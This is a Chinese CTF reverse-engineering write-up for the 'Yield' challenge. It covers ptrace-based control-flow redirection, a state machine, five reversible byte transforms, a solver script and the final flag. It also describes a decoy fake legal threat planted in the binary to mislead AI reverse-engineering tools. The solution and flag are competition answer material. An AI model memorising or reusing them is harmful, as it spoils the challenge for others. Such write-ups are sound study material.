ptrace(PTRACE_GETREGS, pid, 0, v2); // 写入216字节!溢出!

x86-64 的 user_regs_struct 结构体大小为 216 字节,RIP 位于偏移 128 处。v2[80] 只有 80 字节,所以 RIP 的值会溢出写到 v2 之后的栈变量 p_sub_401E44(偏移 128)。

栈布局:
[rbp-0x100] v2[0..79] ← r15 ~ orig_rax
[rbp-0xB0] v3 ← RAX
...
[rbp-0x80] p_sub_401E44 ← RIP (v2偏移128) ★溢出点★
...

父进程在状态机的 WRITE 操作中修改 p_sub_401E44 为计算函数地址,然后 PTRACE_SETREGS 将整个 216 字节写回子进程寄存器。子进程的 RIP 就被修改为计算函数地址。

同时,父进程还通过 PTRACE_POKEDATA 修改子进程栈上的返回地址([RSP]),使计算函数的 ret 指令返回到下一个 INT3 断点。

执行流程:

TRAP(n) → INT3 → 父进程拦截 → 修改RIP=计算函数, [RSP]=TRAP(n+1)
→ 子进程执行计算函数 → ret → TRAP(n+1) → INT3 → ...

4. 状态机结构#

15 个状态机节点,存储在 unk_4051C0(由 sub_401E92 解密初始化)。

每个节点 48 字节,结构如下:

偏移字段说明
+0func_addr触发节点对应的 trap 函数地址
+8ptr1_val计算函数地址 (off_404DA0索引)
+16func2_addr下一个 trap 函数地址
+24action操作类型 (1-6)
+28next_true条件为真时下一节点
+32next_false条件为假时下一节点
+36val16CHECK_LOW2 的期望值
+40val32CHECK_EQ 的期望值

6 种操作类型

Action名称行为
1WRITEPOKEDATA 写 [RSP],SETREGS 改 RIP=计算函数
2CHECK_LOW2检查 (RAX & 3) == val16
3CHECK_EQ检查 RAX == val32
4INPUT填充共享内存,修补 trap14 (INT3→RET)
5WRONG子进程 RIP=sub_401E6B,打印 “Wrong!\n”
6CORRECT子进程 RIP=sub_401E44,打印 “Correct!\n”

CORRECT 路径的节点流转

Node 0 → 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 → 9 → 10
A B C Hash CHECK INPUT D E Verify CHECK CORRECT!

5. 五层变换#

flag 存储在 qword_4050E0 开始的 36 字节中,计算函数依次对其进行变换。

变换 A — sub_4015AB#

for i in range(36):
flag[i] = rol8(flag[i] ^ byte_403020[i], i % 7 + 1)

变换 B — sub_401638#

perm = byte_403060 # 36字节置换表
for i in range(36):
temp[i] = flag[perm[i]] ^ (17 * i + 11)
flag = temp

变换 C — sub_4016C9#

for i in range(36):
temp[i] = (flag[i] + flag[(i+1) % 36]) ^ rol8(9*i + 3, 1)
flag = temp

哈希 — sub_4017A4#

h = 0x31415B26
for i in range(36):
h = ROR32(h, 3) ^ (flag[i] + 7*i)
h = (h + 0x9E3779B9) & 0xFFFFFFFF # 黄金比例共轭
return h

返回值存入 RAX,在 Node 4 被检查 (h & 3) == 1

变换 D — sub_40180A#

for i in range(36):
flag[i] = ror8(flag[i] ^ byte_4030A0[5*i % 36], i % 5 + 1)

变换 E — sub_4018CC#

for i in range(36):
flag[i] = flag[i] ^ flag[(i+13) % 36] ^ (29*i + 7)

6. 验证逻辑#

Node 5 (INPUT) 调用 sub_402403(父进程):

  1. sub_40198A(v2) — 生成固定的目标数据(基于3张置换表)
  2. sub_401ACD(v1) — 生成假flag字符串 "flag{Y0u_A1e_gO0D_at_STATIC_4NALYS1S}"
  3. 写入共享 mmap 缓冲区(MAP_SHARED,子进程可见):
    • mmap[0..35] = v2 ^ byte_403200
    • mmap[40..75] = v1 ^ byte_403240
  4. PTRACE_POKEDATA 将 trap14 的 INT3(0xCC) 替换为 RET(0xC3)

Node 8 (sub_401B4D) 在子进程中执行:

s2_ = mmap[0..35] ^ byte_403200; // = sub_40198A固定输出
s2 = mmap[40..75] ^ byte_403240; // = 假flag
if ((flag[0] + flag[9] + flag[18]) & 7) != 5:
return memcmp(flag, s2_, 36); // 路径1: 与目标比较
else:
return memcmp(flag, s2, 36); // 路径2: 与假flag比较

7. 求解#

约束条件:

  1. T(flag) == sub_40198A_output(路径1的目标)
  2. hash(T_partial(flag)) & 3 == 1(Node 4 检查)
  3. (T(flag)[0] + T(flag)[9] + T(flag)[18]) & 7 != 5(自动满足)

逆向策略:

  • 变换 E 的逆:XOR链有 256 个解(参数 x0)
  • 变换 D 的逆:逐字节直接可逆
  • 变换 C 的逆:加法链有 256 个解(参数 y0)
  • 变换 B 的逆:逆置换 + XOR
  • 变换 A 的逆:逐字节逆旋转 + XOR

遍历全部 256×256 组 (x0, y0),筛选满足所有约束的可打印解。

for x0 in range(256):
inv_e = inv_E(target, x0)
inv_d = inv_D(inv_e)
if not consistent_C(inv_d): continue
for y0 in range(256):
inv_c = inv_C(inv_d, y0)
inv_b = inv_B(inv_c)
flag = inv_A(inv_b)
if hash_ok(flag) and all_printable(flag):
print("Found:", flag)

唯一解:x0=67, y0=8

8. Flag#

flag{Y0u_A1e_gO0D_at_FLOW_h11@ckIng}

设计彩蛋#

字符串含义
假flagflag{Y0u_A1e_gO0D_at_STATIC_4NALYS1S}”You Are Good at STATIC ANALYSIS
真flagflag{Y0u_A1e_gO0D_at_FLOW_h11@ckIng}”You Are Good at FLOW HACKING

题目名 Yield 暗示了”让出控制权”——子进程通过 INT3 将控制权 yield 给父进程,父进程再通过修改 RIP 将控制权”归还”给计算函数。这是一场精心设计的控制流劫持。

另外在 sub_401236 中还有一个针对 AI/LLM 的假警告消息(hash 校验不通过,永不执行),内容是假装来自 “TechNova Innovations Inc.” 的 DMCA/CPRA 法律威胁——专门用来欺骗 AI 逆向工具。

9. 求解脚本核心代码#

# 关键数据表
t020 = bytes.fromhex('d50598bc638adf52bf3fdd85595fb52ed3554b692761aea40ceaad0dd40103535b9232d4')
t060 = bytes.fromhex('1e131c0c220a1a0914161b200021021d04100d1208051f1117230f03070119150e180b06')
t0A0 = bytes.fromhex('e328c65b05bc6e3ef61f07fba6d767ba3d4c28fd54ab76685353934c2e014b01fd5e3187')
# 变换 E 的逆 (XOR链循环,gcd(13,36)=1)
def inv_E(arr, x0):
D = [(arr[i] ^ ((29*i+7) & 0xFF)) for i in range(36)]
cycle = [0]; cur = 0
for _ in range(35): cur = (cur + 13) % 36; cycle.append(cur)
prefix = [0]
for k in range(36): prefix.append(prefix[-1] ^ D[cycle[k]])
result = [0] * 36
for k, idx in enumerate(cycle): result[idx] = (x0 ^ prefix[k]) & 0xFF
return result
# 变换 C 的逆 (加法链,256个分支)
def inv_C(arr, y0):
Cvals = [(((9*i+3)&0xFF)<<1 | ((9*i+3)&0xFF)>>7) & 0xFF for i in range(36)]
E = [(arr[i] ^ Cvals[i]) for i in range(36)]
Y = [0] * 36; Y[0] = y0
for k in range(1, 36): Y[k] = (E[k-1] - Y[k-1]) & 0xFF
return Y
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

sdpcsec-ctf
https://yoyolp.github.io/posts/bisai/sdpcsec/
作者
超级玉米人
发布于
2026-06-08
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录